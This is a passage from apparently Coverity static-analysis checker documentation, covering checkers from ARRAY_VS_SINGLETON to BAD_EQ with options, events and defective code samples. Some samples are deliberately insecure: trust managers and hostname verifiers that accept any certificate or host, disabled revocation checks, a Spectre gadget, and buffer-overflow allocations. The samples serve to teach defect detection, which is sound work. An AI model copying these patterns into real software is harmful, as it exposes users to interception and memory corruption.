ANGULAR_EXPRESSION_INJECTION:trust_js_client_other_origin:false.
ANGULAR_EXPRESSION_INJECTION:trust_js_client_url_query_or_fragment:<boolean>
- When this option is set to false, the analysis does not trust data from the
query or fragment part of the URL, for instance from location.hash or
location.query, in client-side JavaScript code. Defaults to
ANGULAR_EXPRESSION_INJECTION:trust_js_client_url_query_or_fragment:false.
Supported Languages: C, C++, Objective-C, Objective-C++
ARRAY_VS_SINGLETON reports some cases where a pointer to a single object is incorrectly treated like an array, which causes the program to access invalid memory. This results in either reading garbage/unintended values from memory or writing to unintended memory and corrupting it. ARRAY_VS_SINGLETON also reports cases where an array of base class objects is treated as an array of derived class objects.
Because the type systems in C/C++ do not distinguish between "pointer to one object" and "pointer to array of objects," it is easy to accidentally apply pointer arithmetic to a pointer that only points to a singleton object. ARRAY_VS_SINGLETON checker finds many cases of this error.
Enabled by default: ARRAY_VS_SINGLETON is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more ARRAY_VS_SINGLETON examples.
The following example contains a defect, because arithmetic performed on the base class pointer assumes the objects are the size of the base class, but the original array has objects that are the size of the derived class:
class Base {
public:
int x;
};
class Derived : public Base {
public:
int y;
};
void f(Base *b)
{
b[1].x = 4;
}
Derived arr[3];
f(arr); // DefectThe following example contains a defect pointer arithmetic using the
result array:
void foo(char **result)
{
*result = (char*)malloc(80);
if (...) {
strcpy(*result, "some result string");
}
else {
...
result[79] = 0; // Should be "(*result)[79] = 0"
}
}
void bar()
{
char *s;
foo(&s); // Defect reported here
}This section describes one or more ARRAY_VS_SINGLETON options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
ARRAY_VS_SINGLETON:stat_cutoff:<integer> - This option sets the value used by statistical analysis
to filter defects. If a singleton pointer is passed to a function, but there are
at least this many call sites in the code base where the address of something is
passed to that same function (in the same argument position), then no defect is
reported. Increasing this value will cause more defects to be reported, and
usually more of them will be false positives. Defaults to ARRAY_VS_SINGLETON:stat_cutoff:10
This section describes one or more events produced by the ARRAY_VS_SINGLETON checker.
derived_to_base - A derived-to-base pointer conversion
created a singleton.
new_object - The singleton form of new created a
singleton.
address_of - Taking the address of something created a
singleton.
assign - A singleton pointer was assigned to a
variable.
callee_ptr_arith - A singleton pointer was passed to a
function that performs pointer arithmetic on it. This event includes a link to a
model.
Supported Languages: C#, Visual Basic
ASPNET_MVC_VERSION_HEADER reports defects where an overrider of the method
System.Web.HttpApplication.Application_Start does not set
MvcHandler.DisableMvcResponseHeader to true or call a
method that does. The X-AspNetMvc-Version header in ASP.NET web applications reveals
information about the specific version of ASP.NET MVC that is running on the target
system, which makes it vulnerable to attacks. The defect can be fixed by setting
MvcHandler.DisableMvcResponseHeader to true in the method
Application_Start.
Disabled by default: ASPNET_MVC_VERSION_HEADER is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable ASPNET_MVC_VERSION_HEADER
along with other Web application checkers,
use the --webapp-security
option.
ASPNET_MVC_VERSION_HEADER defects have a single event that identifies an unsafe security setting in the source code.
This section provides one or more ASPNET_MVC_VERSION_HEADER examples.
The following code sample illustrates different cases where defects are found:
Test1 and Test2 do not produce defects;
Test3 produces a defect. Test4 does not produce a
defect because the Application_Start function can set
MvcHandler.DisableMvcResponseHeader in its callee.
public class Test1 : System.Web.HttpApplication
{
protected void Application_Start()
{
MvcHandler.DisableMvcResponseHeader = false;
}
}
public class Test2 : System.Web.HttpApplication
{
protected void Application_Start()
{
MvcHandler.DisableMvcResponseHeader = true;
}
}
public class Test3 : System.Web.HttpApplication
{
protected void Application_Start() // Defect here.
{
}
}
public class Test4 : System.Web.HttpApplication
{
void start() {
MvcHandler.DisableMvcResponseHeader = true;
}
protected void Application_Start()
{
start();
}
}The following code illustrates a safe and an unsafe ASP.NET Web Application. This checker reports a defect in the latter.
Imports System
Imports System.Web
Imports System.Web.Mvc
Class SafeApp
Inherits System.Web.HttpApplication
Private Sub StartApplication(sender As object, e As EventArgs)
MvcHandler.DisableMvcResponseHeader = true
End Sub
End Class
Class UnsafeApp
Inherits System.Web.HttpApplication
Sub Application_Start(sender As object, e As EventArgs)
' Fail to set DisableMvcResponseHeader
End Sub
End ClassSupported Languages: C, C++, Objective-C, Objective-C++
ASSERT_SIDE_EFFECT reports some cases where an expression that has a side effect is used as the condition expression of an assertion. That is dangerous because assertions are often compiled away in a production build, which means that the program behaves differently in debug mode (with assertions present) than in production mode.
The C Standard Library uses conditional compilation to define the
assert() macro. Its definition typically takes the form:
#ifdef NDEBUG
#define assert(x) 1
#else
#define assert(x) if(!(x)) abort("some error message")
#endifThe NDEBUG macro, normally defined only for non-debug builds, controls whether the
parameter to assert() is evaluated. The nonevaluation aspect of non-debug
builds is an important feature of assert() because it allows the programmer
to include potentially expensive validations in the debug build without incurring
overhead in the non-debug build.
If, however, the parameter to assert() modifies the program state (for
example, by incrementing a variable) the modification occurs in debug builds but not in
non-debug builds. This can cause bugs that are difficult to detect and fix.
The ASSERT_SIDE_EFFECT checker looks for certain modifications (side effects) in the
boolean expression that is the first argument to assert(). The side effects
are caused by:
An assignment (for example, =, +=,
-=, or <<=;).
Increments and decrements (for example, ++ or
--).
Modification to the heap (for example, Assert(new
xxx)).
A call to a function that has a side effect. You can specify such
functions with the distrust_functions option. The analysis
does not detect them automatically.
Also, reading a variable that has storage class volatile may
have a side effect, for example, if the variable is a device register that reacts to
reads. In addition, volatile variables may change their values independently of the
executing thread, so they are unreliable as components of an assert expression.
For the ASSERT_SIDE_EFFECT checker to find defects, make sure that NDEBUG is not defined, thus enabling the debug branch of the conditional compilation.
A common programming practice is to define custom macros that
have the same form and function as assert, but using different names and
implementations. ASSERT_SIDE_EFFECT can check those macros as well if you use the
macro_name_has option. Because a custom macro uses its own version of
NDEBUG, that macro must be defined, set, or undefined in whatever enables expansion of
the non-debug version of the custom macro.
Enabled by default: ASSERT_SIDE_EFFECT is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more ASSERT_SIDE_EFFECT examples.
In the following example, incrementing
x with assert(++x) may cause changes in program behavior
between the debug and non-debug builds:
#include<assert.h>
int ciaobello() {
int x;
assert(++x); // Defect
} This section describes one or more ASSERT_SIDE_EFFECT options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
ASSERT_SIDE_EFFECT:distrust_functions:<boolean> - When
this option is set to true, the
checker treats any function call as potentially having a side effect.
Consequently, any use of a recognized assert macro with a function call in its
condition will be reported as a defect. By default, the checker ignores function
calls in assert macros when looking for defects. Defaults to
ASSERT_SIDE_EFFECT:distrust_functions:false
ASSERT_SIDE_EFFECT:macro_name_has:<regex> - C and C++ option that accepts a regular expression
(Perl syntax) to expand the set of recognized assert macros. You can specify
more than one of these options on the command line. Defaults to
ASSERT_SIDE_EFFECT:macro_name_has:[Aa]ssert|ASSERT
Use this option if you have asserts with names that do not contain
assert, ASSERT, or Assert.
Example:
> cov-analyze --checker-option ASSERT_SIDE_EFFECT:macro_name_has:FORCEtreats any macro that contains the string
FORCE as an assert macro.
ASSERT_SIDE_EFFECT:macro_name_lacks:<regex> - C and C++ option that accepts a regular expression (Perl syntax) to restrict the set of recognized assert macros, even if the macro
name matches a macro_name_has option (including the defaults). You
can specify more than one of these options on the command line. Default is unset.
Example:
> cov-analyze 0 --checker-option ASSERT_SIDE_EFFECT:macro_name_lacks:^HighLevelAssert$ --checker-option 'ASSERT_SIDE_EFFECT:macro_name_has:.*LevelAssert$'means that the only macros considered by ASSERT_SIDE_EFFECT are those that end with
LevelAssert, except for HighLevelAssert. The
single quotes are used in the command line to tell the shell not to use the
* for filename expansion.ASSIGN_NOT_RETURNING_STAR_THIS
reports many cases of assignment operator member functions that do not return the
receiving object, *this, as a reference to a non-const object. The
consequence is that the operator cannot be used the same way the built-in operators are,
and in some cases, attempting to do so will lead to subtle logic errors.
Built-in and compiler-generated assignment operators evaluate to the assignee object, so for consistency all user-written assignment operators should do the same. The checker only considers assignment operators that can be used to assign entire objects and excludes private operators, on the assumption that they are not intended to be used. The ASSIGN_NOT_RETURNING_STAR_THIS checker reports different categories of problems:
The assignment operator is declared to return a different type, such as
void or any type other than the containing class
type.
The assignment operator is declared to return the correct type but either by value or as a reference to const.
The assignment operator is declared to return the correct type but the
object returned in the body of the function is not
*this.
Disabled by default: ASSIGN_NOT_RETURNING_STAR_THIS is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
This section provides one or more ASSIGN_NOT_RETURNING_STAR_THIS examples.
A simple integer wrapper class:
class MyInteger {
int i;
public:
MyInteger(int ii = 0) : i(ii) {}
// wrong return type
void operator=(const MyInteger &rhs)
{
if (this != &rhs) {
i = rhs.i;
}
}
} This will not allow you to write the following: MyInteger a, b; // ... a = b = 42;as is common practice with built-in types.
The following is closer, but still not right:
...
MyInteger operator=(const MyInteger &rhs)
{
if (this != &rhs) {
i = rhs.i;
}
// returning the right object, but by value
return *this;
} or ...
const MyInteger &operator=(const MyInteger &rhs)
{
if (this != &rhs) {
i = rhs.i;
}
// returning a reference to const
return *this;
}
Lastly, the return type may be entirely correct but the function may return the wrong
object (that is, anything other than *this):
...
// the exactly correct return type
MyInteger &operator=(const MyInteger &rhs)
{
if (this != &rhs) {
i = rhs.i;
}
return rhs; // should be *this (i.e., "lhs")
}This section describes one or more events produced by the ASSIGN_NOT_RETURNING_STAR_THIS checker.
assign_returning_void - The declared return type of an
assignment operator is void.
assign_returning_incorrect_type - The declared non-void
return type of an assignment operator is not the containing class type.
assign_returning_const - The declared return type of an
assignment operator is correct except that it is a reference to const.
assign_returning_by_value - The declared return type of an
assignment operator is correct except that it is by value rather than as a
reference.
assign_returning_incorrect_value - An assignment operator is
a returning an object other than *this.
assign_indirectly_returning_star_this - An assignment
operator is returning the result of calling another member function which
returns *this.
Supported Languages: C, C++, Java, Objective-C, Objective-C++
ATOMICITY reports some cases where the code contains two critical sections in sequence, but it appears that they should be merged into a single critical section because the latter uses data computed in the former, but the data might possibly invalidated in between. This is a form of concurrent race condition.
For C/C++, this checker finds a class of defects in which a critical section is not sized sufficiently to protect a variable. For example, assume that individual reads and writes are protected by locks but that the entire operation is not protected. Such a case can result in inconsistent results.
For Java, this checker examines cases where a value,
v, is defined in a critical section. If v
flows into another critical section (which uses the same lock that was used when
v was defined) where v is used, the
checker reports a defect. This checker tracks critical sections defined by synchronized
methods, synchronized blocks, and java.util.concurrent.locks.Lock
objects.
C, C++, Objective-C, Objective-C++:
Disabled by default: ATOMICITY is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Concurrency checker enablement: To enable ATOMICITY along with other concurrency checkers that are disabled by default, use the
--concurrency option to cov-analyze.
Java:
Disabled by default: ATOMICITY is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
This section provides one or more ATOMICITY examples.
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
pthread_mutex_t mtx;
/* Initialize a shared buffer */
char shared_string[128] = "There's a c in here.";
char *s2;
void *capitalize_first_c(void *arg)
{
/* lock and find the position of the first C character */
pthread_mutex_lock(&mtx);
char *c = index(shared_string, 'c');
pthread_mutex_unlock(&mtx);
/* unlocked and sleep to allow another thread to mutate shared_string */
usleep(1000);
/* lock and write to where the c was found */
pthread_mutex_lock(&mtx);
s2 = c;
pthread_mutex_unlock(&mtx);
return NULL;
}This section describes one or more events produced by the ATOMICITY checker.
lock - [C/C++] A call to a locking function, which begins a
critical section.
lock - [Java] Acquiring the lock in the
first locked context.
unlock - A call to an unlocking function, which ends a
critical section.
def - [C/C++] A definition of a variable inside of a critical
section.
def - [Java] Defining the variable that
will be used later in a different locked context.
lockagain - [C/C++] A call to a locking function, which
begins another critical section.
lock_again - [Java] Re-acquiring the lock marking the
beginning of the second locked context.
non_thread_safe_use - [Java] Using a stale value in a
synchronized method. Equivalent to (lock_again, use).
return_from_sync - [Java] Calling a synchronized method and
storing the return value. Equivalent to (lock, def, unlock).
unlock - [Java] Releasing the lock marking the end of the
first locked context.
use - [C/C++] Use of a variable outside of the critical
section that contains the variable definition.
use - [Java] Using the stale value of
the variable in the second locked context.
ATTRIBUTE_NAME_CONFLICT reports attributes that have been incorrectly repeated in a single JSP tag. This syntax is invalid but it is tolerated by some servlet containers and JSP compilers. The behavior of the rendered document is undefined. The impact of the error depends on the particular tag and attribute, whether its evaluation has side effects and how the values conflict. Some tags use attributes to control security-related behavior, for example, output escaping.
Web application security checker enablement: To enable ATTRIBUTE_NAME_CONFLICT
along with other Web application checkers,
use the --webapp-security
option.
Disabled by default: ATTRIBUTE_NAME_CONFLICT is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
The main event of an ATTRIBUTE_NAME_CONFLICT defect is presented at a problematic element or tag. It names the attribute that has been duplicated.
This section provides one or more ATTRIBUTE_NAME_CONFLICT examples.
A simple example with security implications:
<c:out escapeXml="true" value = "${bean.property.x.value}" escapeXml="false"/>Conflicting attributes in complex tags may be harder to spot:
<ui:chart name="quarterlyReport" borderColor="#000000" border="2"
minWidth="100" minHeight="100" defaultWidth="150" defaultHeight="150"
bgColor="#000000" pad="5" border="1">
<ui:chartData data="this_quarter" />
<ui:chartData data="last_quarter" />
</ui:chart>Supported Languages: C, C++, Objective C, and Objective C++
AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK finds code patterns that might cause a sensitive process (such as a kernel or virtual machine) to be vulnerable to the "Spectre" atttack. The code patterns that this checker finds might allow an attacker to read the process memory.
The checker looks for cases where a value V is compared against another value; an attacker could use V as an index to access some memory. The result from accessing that memory could then be used to access even more memory. Specifically, the checker looks for cases where a value V is checked to be within bounds. The check could take the form of an equality check, an inequality check, or a check for the return value of a function call.
If value V can be controlled by an attacker, the attacker can use it to expose data because the comparison might be speculatively ignored by the CPU when a cache miss prevents immediately evaluating the comparison. This means the attacker can potentially access any value W in the process address space. When that W is then used to access more memory, its effect on the CPU cache might then be used to retrieve information about W.
AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK is disabled by default. To enable use -en
AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK.
This section provides one or more AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK examples.
In the following example index is the V that is being compared to
array_size; arr2[index] is the W mentioned in the
Overview above.
if(index < array_size) {
int i = arr1[arr2[index]];
}To suppress this defect and prevent speculative execution, insert a barrier instruction after the comparison and before the memory access; for example:
if(index < array_size) {
_mm_lfence();
int i = arr1[arr2[index]];
}For additional discussion of this example, see
https://spectreattack.com/spectre.pdf.
This section describes one or more AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK:eq_compare_to_any:<boolean> - If true, the
checker assumes that the comparison can be any kind of equality comparison. In
the example above, index < array_size could be index ==
array_size - 1. Defaults to
AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK:eq_compare_to_any:false
AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK:max_sensitive_read_size:<
- The maximum number of bytes that can be read into a value using a speculative
overrun such that, if a memory access is done using that value, the value can be
guessed using side channel attacks. In the example pattern, this corresponds to
the size of (int)>arr2[index]. Defaults to
AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK:max_sensitive_read_size:"2".
AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK:report_all_nested_mem_accesses:<boolean> - If
true, the checker does not look for a comparison on the memory access index and
reports on all nested memory accesses. In the example above, it would report on
all arr1[arr2[index]]. Note that turning this option on results in
a very large number of defects being reported. Defaults to
AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK:report_all_nested_mem_accesses:false.
AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK:uncached_constants:<(bool)> -
If true, the checker assumes that there cannot be a cache miss when fetching
constant values; in the example pattern we do not consider cases where
array_size is a constant. Defaults to
AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK:uncached_constants:"true".
Supported Languages: C, C++, Objective-C, Objective-C++
BAD_ALLOC_ARITHMETIC finds many calls to allocation routines
with errant placement of the parenthesis when using - or +
operators. It searches for malloc(x)+y or malloc(x)-y where it
appears that the user intended to call malloc(x+y) or
malloc(x-y). These errors cause under-allocation or over-allocation,
and unintended pointer arithmetic, which result in memory corruption or a potential
security vulnerability when attempting to copy data into the resultant buffer.
Enabled by default: BAD_ALLOC_ARITHMETIC is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more BAD_ALLOC_ARITHMETIC examples.
In the following example, char *p
and char *p2 both contain allocation errors:
void test(int a, int b) {
char *p = malloc(a)+b; // Defect, bad allocation
char *p2 = malloc(a)-b; // Defect, bad allocation
}Supported Languages: C, C++, Objective-C, Objective-C++
BAD_ALLOC_STRLEN reports defects when it finds
strlen( used as the p+1)size
argument of an allocation site. Assuming that the developer intended
strlen( to indicate the length of
p)+1p plus an extra byte for a null terminator,
strlen(p+1) is undefined when p is zero length and
strlen( otherwise. The result is a potential
buffer overrun on the result of allocation, undefined behavior when p)-1p
is zero length, or both. This defect almost always results in a buffer overflow when
data is copied to the new buffer.
Enabled by default: BAD_ALLOC_STRLEN is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more BAD_ALLOC_STRLEN examples.
char *clone_name(char *name) {
char *new_name = NULL;
if (name) {
new_name = (char*)malloc(strlen(name+1)); //bad_alloc_strlen
strcpy(new_name, name);
}
return new_name;
}This section describes one or more BAD_ALLOC_STRLEN options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
BAD_ALLOC_STRLEN:report_plus_any:<boolean> - When this
option is set to
true, the checker will report defects on a buffer allocation
that uses the length of a string plus any integer. It reports
strlen(p+C) for any constant C, not just 1. By
default, it reports a defect only when the length of a string plus one is used.
Defaults to
BAD_ALLOC_STRLEN:report_plus_any:false
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
BAD_CHECK_OF_WAIT_COND
finds many cases where a thread calls wait() on a mutex without properly
checking a wait condition. In Java, the wait() call is not provided the
waiter's desired condition, so the programmer needs to ensure that the wait condition is
false before waiting, and true after waiting. This check needs to take place before
waiting inside of the locked region. Otherwise, the wait condition might become true
between the check and the wait, causing the program to wait unnecessarily. In addition,
the Java language is susceptible to "spurious wakeups," where a wait()
successfully returns before it receives notification that the wait condition has been
satisfied with a call to notify() or notifyAll(). Thus, it is
also necessary to check the status of the wait condition inside a loop, which allows the
thread to wait again if a spurious wakeup occurred. This checker finds situations where
such checks are done inappropriately.
Enabled by default: BAD_CHECK_OF_WAIT_COND is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more BAD_CHECK_OF_WAIT_COND examples.
class BCWCExamples {
public Object lock;
boolean someCondition;
public void NoChecking() throws InterruptedException {
synchronized(lock) {
//Defect due to not checking a wait condition at all
lock.wait();
}
}
public void IfCheck() throws InterruptedException {
synchronized(lock) {
// Defect due to not checking the wait condition with a loop.
// If the wait is woken up by a spurious wakeup, we may continue
// without someCondition becoming true.
if(!someCondition) {
lock.wait();
}
}
}
public void OutsideLockLoop() throws InterruptedException {
// Defect. It is possible for someCondition to become true after
// the check but before acquiring the lock. This would cause this thread
// to wait unnecessarily, potentially for quite a long time.
while(!someCondition) {
synchronized(lock) {
lock.wait();
}
}
}
public void Correct() throws InterruptedException {
// Correct checking of the wait condition. The condition is checked
// before waiting inside the locked region, and is rechecked after wait
// returns.
synchronized(lock) {
while(!someCondition) {
lock.wait();
}
}
}
}This section describes one or more events produced by the BAD_CHECK_OF_WAIT_COND checker.
add_loop_check_inside_lock - Remediation advice: Directs the
user to consider checking the wait condition as a loop condition inside the
locked region.
do_while_insufficient - Applies to a do-while
inside the locked region containing the call to wait: Informs the user that a
do-while does not suffice as a check on the wait condition
because it only checks the condition after its first iteration.
if_insufficient - Informs the user that the code is
susceptible to spurious wakeups because an if statement checked the
wait condition inside the locked region.
loop_outside_lock_insufficient - Informs the user that a loop
containing the wait condition outside of the locked region does not ensure that
the condition will have the same value when control enters the locked
region.
wait_cond_improperly_checked - Main event: Identifies the
wait whose condition is improperly checked.
Supported Languages: Java, Swift
BAD_CERT_VERIFICATION looks for instances of incomplete or improper validation of security certificates (CWE 295 and CWE 296). Improper checking of certificates can make the system vulnerable to "man-in-the-middle" attacks, which enable an attacker to eavesdrop or interfere with the traffic in the session.
Digital security certificates use public key cryptography to enable secure communications between two parties. Security certificates are issued by trusted certificate authorities (CAs). A certificate chain is a list of certificates that begins with a target certificate (the one you want to verify) and ends with a trust anchor. Each certificate in the chain vouches for the previous one. The checker specifically targets Java and Android code that uses common Java SSL libraries.
Enablement for Java
Disabled by default: BAD_CERT_VERIFICATION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable BAD_CERT_VERIFICATION
along with other Web application checkers,
use the --webapp-security
option.
Android security checker enablement: To enable BAD_CERT_VERIFICATION
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
Enablement for Swift
Enabled by default: BAD_CERT_VERIFICATION is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
A BAD_CERT_VERIFICATION defect consists of an insecure use of Java/Android SSL libraries. The
exact structure of the defect depends on the specific API used. For the
X509TrustManager, the checker reports a defect for an implementation
that can accept arbitrary certificate chains. The X509TrustManager
checkServerTrusted and checkClientTrusted methods throw
Certificate exceptions to indicate that a certificate chain is invalid.
Coverity reports a defect in one of these methods if there is an execution path through the
method such that:
No exception can escape the method (for example, a catch
statement not followed by a throw).
The certificate chain is not examined.
The HostnameVerifier.verify method returns a Boolean indicating whether
the host name verification was successful. The checker will report a defect if there is
an implementation of this method such that:
It returns the Boolean constant true on all paths.
There is a path that returns true, but either the host name or
the session is not examined.
The checker will also report a defect if there is a call to
org.apache.http.conn.ssl.SSLSocketFactory.setHostnameVerifier where the
argument is SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER. Finally, the
checker will report a defect if the user is disabling the check for certificate
revocation by calling PKIXParameters.setRevocationEnabled(false).
A BAD_CERT_VERIFICATION defect for Swift reflects the insecure use of the Multipeer Connectivity or CoreFoundation Frameworks. The structure of the defect depends on the specific API used.
For Multipeer Connectivity Framework,
Coverity reports a defect when a MCSessionDelegate session(_: MCSession,
didReceiveCertificate: [Any]?, fromPeer: MCPeerID, certificateHandler:
@escaping (Bool) -> Void) is defined with the
certificateHandler parameter set to true on all paths.
For CoreFoundation Framework, Coverity reports a defect when the following conditions exist:
The kCFStreamPropertySSLSetting dictionary contains the
key kCFSStreamSSLValidatesCertificateChain equal to
true.
The kCFStreamPropertySSLSetting dictionary contains the
key kCFSStreamSSLIsServer equal to false or not
specified.
The kCFStreamPropertySSLSetting dictionary contains the
key kCFSStreamPropertySSLPeerTrust is not specified.
This section provides one or more BAD_CERT_VERIFICATION examples.
Consider the following implementation of an X509TrustManager
interface:
TrustManager tm = new X509TrustManager() {
@Override
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkServerTrusted(X509Certificate[] chain, String authType)
throws CertificateException {} // Defect here.
@Override
public void checkClientTrusted(X509Certificate[] chain, String authType)
throws CertificateException {} // Defect here.
};Because the implementation of the checkServerTrusted and
checkClientTrusted never throws a
CertificateException, this trust manager will accept any certificate.
This leaves the user vulnerable to a "man-in-the-middle" attack.
Ensuring that a server provides a valid certificate chain is not enough to ensure that the connection is secure. You also need to check that the certificate is actually associated with the correct host. Consider another example of insecure certificate verification:
HostnameVerifier hv1 = new HostnameVerifier() {
@Override
public boolean verify(String hostname, // Defect here.
SSLSession session) {
return true;
}
};The implementation of the HostnameVerifier.verify method always
returns true and accepts all hosts. This will allow a connection to any server that
provides a valid certificate, making the user vulnerable to a redirection or
spoofing attack.
Finally, consider the following code, which disables checking for revoked certificates:
PKIXParameters param = new PKIXParameters(new HashSet<TrustAnchor>()); param.setRevocationEnabled(false); // Defect here.
The following example shows a possible defect in Swift.
import MultipeerConnectivity
class TestDoesNothingTrue : NSObject, MCSessionDelegate {
func session(_ session: MCSession, peer peerID: MCPeerID, didChange state: MCSessionState) { }
func session(_ session: MCSession, didReceive data: Data, fromPeer peerID: MCPeerID) { }
func session(_ session: MCSession, didReceive stream: InputStream, withName streamName: String, fromPeer peerID: MCPeerID) { }
func session(_ session: MCSession, didStartReceivingResourceWithName resourceName: String, fromPeer peerID: MCPeerID, with progress: Progress) { }
func session(_ session: MCSession, didFinishReceivingResourceWithName resourceName: String, fromPeer peerID: MCPeerID, at localURL: URL, withError error: Error?) { }
func session(_ session: MCSession, didReceiveCertificate certificate: [Any]?, fromPeer peerID: MCPeerID, certificateHandler: @escaping (Bool) -> Void) {
certificateHandler(true) // Defect Here
}
}This section describes one or more BAD_CERT_VERIFICATION options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
BAD_CERT_VERIFICATION:bad_ssl_session:<boolean> - [Java only] This option
determines whether to report a defect for SSLSockets used for
communication before their hostname has been verified. Some APIs that create
SSLSessions do not automatically perform hostname verification. When using these
APIs, it is up to the programmer to check the hostname explicitly before using
the SSLSocket. Defaults to BAD_CERT_VERIFICATION:bad_ssl_session:true."
Supported Languages: C, C++, Objective-C, Objective-C++
BAD_COMPARE finds many cases in which a comparison operator or function is misused. For example, it can find cases where a function is implicitly converted to its address and then compared with 0. Because function addresses are never 0, such comparisons always have a fixed result, which is usually not what the programmer intended.
Enabled by default: BAD_COMPARE is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more BAD_COMPARE examples.
The following example produces a defect because of confusing logical negation operator precedence.
void bug1(int x, int y) {
if (!x == y) { /* ... */ } /* event reported here */
}This section describes one or more events produced by the BAD_COMPARE checker.
comparator_misuse - The return value of a
memcmp-style function was misused, for example:
void bug1(const char *s) {
if (strcmp(s, "blah") == 1) { /* ... */ }
}
void nobug1(const char *s) {
if (strcmp(s, "blah") > 0) { /* ... */ }
}func_conv - A comparison of a function address to 0 occurred,
for example:
void do_something(char const *s) {
if (strlen == 0) { /* not a function call */
/* handle empty string */
}
/* ... */
}Note that the checker does not flag the comparison of function pointers to 0; it just flags comparisons of function addresses. If the comparison of a function's address to 0 is needed for some reason, you can change the comparison to hide the constant value from the checker:
void do_something(char const *s) {
int (*null_fp)(char const *) = 0;
if (strlen == null_fp) { /* checker allows this */
/* never executed... */
}
/* ... */
}Note that the NO_EFFECT checker reports implicit comparisons to 0, such as when casting a string literal to a boolean, so such reports are not duplicated by BAD_COMPARE.
null_misuse - An inequality comparison to NULL occurred, for
example:
void bug2(int *x) {
if (x >= NULL) { /* ... */ }
}
void nobug2(int *x) {
if (*x >= NULL) { /* ... */ }
}string_lit_comparison - A comparison of a pointer to a string
literal occurred, for example:
void do_something(const char *other) {
if(other == "expected") { /* event reported here */
/* do something */
}
}Though comparison of the value of the literal to the other operand generates a compiler error, comparison of the address of the literal to the other operand might work when using some compiler configurations.
BAD_EQ is a statistical checker that determines whether two
objects of a given type should be compared with structural equality, such as using the
Equals method, or referential equality, such as using the
non-overloaded == operator. Incorrect comparisons can lead to
hard-to-diagnose errors and incorrect behavior.
In most cases, objects in C# should be compared using structural equality by
calling the Equals method. However, for efficiency reasons, it is sometimes
useful to construct objects in such a way that referential equality implies structural
equality (for example, by using object pools or hash consing). BAD_EQ makes the
assumption that an object's type is sufficient to determine whether referential or
structural equality should be used to compare objects.
Statistics are gathered per dynamic type. That is, a call to x.Equals(y)
is counted as a structural equality check for the dynamic type of x.
Hence, there is some asymmetry in the case where the dynamic type of
y is not the same as x, but the effect of the
asymmetry is minimal.
The following methods and operators test for referential or structural equality:
Structural equality if x has an overriden
Object.Equals(y) method, otherwise referential equality:
x.Equals(y) and Object.Equals(x,y)
Structural equality if x has an overriden ==/!=
operator, otherwise, referential equality:
Operator ==(x,y) and operator !=(x,y)
The checker ignores tests for referential and structural equality in the following cases:
When the check is inside one of the methods shown in the examples above.
When the check is inside an equivalence method that contains a comparison against this.
When the check is against NULL.
When the check is with Object.ReferenceEquals(x,y).
This section provides one or more BAD_EQ examples.
class ValueCompare
{
public override bool Equals(object o)
{
return base.Equals(o);
}
static void usuallyValueCompared(ValueCompare v1, ValueCompare v2)
{
if(v1.Equals(v2)) return;
if(v1.Equals(v2)) return;
if(v1.Equals(v2)) return;
if(v1.Equals(v2)) return;
if(v1.Equals(v2)) return;
}
static void bug(ValueCompare v1, ValueCompare v2)
{
if(v1 == v2) { // Error: This should be using v1.Equals(v2) instead.
return;
}
}
}This section describes one or more BAD_EQ options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
BAD_EQ:stat_threshold:<a_percentage> - option that reports referential
equality comparisons as defects when the specified threshold of
structural equality comparisons (a percentage of all
equality comparisions) is met or exceeded. For example, -co
BAD_EQ:stat_threshold:50 will cause the checker to report a defect on
all referential equality comparisons if 50% of the comparisons are structural.
Defaults to
BAD_EQ:stat_threshold:80
BAD_EQ:stat_threshold is automatically set to
70 when cov-analyze --aggressiveness-level is
medium or high.
BAD_EQ:stat_bias:<floating_point_number> -
option that specifies a
floating point number N that is used by the checker to report a defect when
(S + N) / (S + R) <= T. Here, S = number of structural
comparisons, R = number of referential comparisons, and T = value of the
stat_threshold option value. Defaults to BAD_EQ:stat_bias:0.25
BAD_EQ:stat_bias is automatically set to
0.5 when cov-analyze --aggressiveness-level
high.
This section describes one or more events produced by the BAD_EQ checker.
